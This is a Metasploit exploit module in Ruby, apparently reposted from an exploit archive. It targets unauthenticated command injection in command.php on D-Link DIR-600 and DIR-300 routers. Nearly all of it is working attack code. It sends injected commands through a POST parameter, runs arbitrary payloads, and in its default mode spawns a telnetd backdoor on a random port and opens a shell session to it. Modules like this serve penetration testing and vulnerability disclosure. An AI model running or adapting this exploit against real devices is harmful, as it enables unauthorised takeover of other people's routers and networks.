D-Link Devices – ‘command.php’ Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in command.php, which is accessible without authentication. This module has been tested with the versions DIR-600 2.14b01, DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service and establish a session over it, the second one runs commands via the CMD target. There is no wget or tftp client to upload an elf backdoor easily. According to the vulnerability discoverer, more D-Link devices may affected. }, 'Author' => [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '89861' ], [ 'EDB', '24453' ], [ 'BID', '57734' ], [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] ], 'DisclosureDate' => 'Feb 04 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ [ 'CMD', #all devices { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Telnet', #all devices - default target { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], ], 'DefaultTarget' => 1 )) end def exploit if target.name =~ /CMD/ exploit_cmd else exploit_telnet end end def exploit_cmd if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = "#{payload.encoded}; echo end" print_status("#{rhost}:#{rport} - Sending exploit request...") res = request(cmd) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end if res.body.include?("end") print_good("#{rhost}:#{rport} - Exploited successfully\n") vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") vprint_line("#{rhost}:#{rport} - Output: #{res.body}") else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end return end def exploit_telnet telnetport = rand(65535) print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") cmd = "telnetd -p #{telnetport}" #starting the telnetd gives no response print_status("#{rhost}:#{rport} - Sending exploit request...") request(cmd) begin sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") add_socket(sock) else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" auth_info = { :host => rhost, :port => telnetport, :sname => 'telnet', :user => "", :pass => "", :source_type => "exploit", :active => true } report_auth_info(auth_info) merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, 'USERNAME' => nil, 'PASSWORD' => nil } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") end return end def request(cmd) uri = '/command.php' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'vars_post' => { "cmd" => cmd } }) return res rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end end |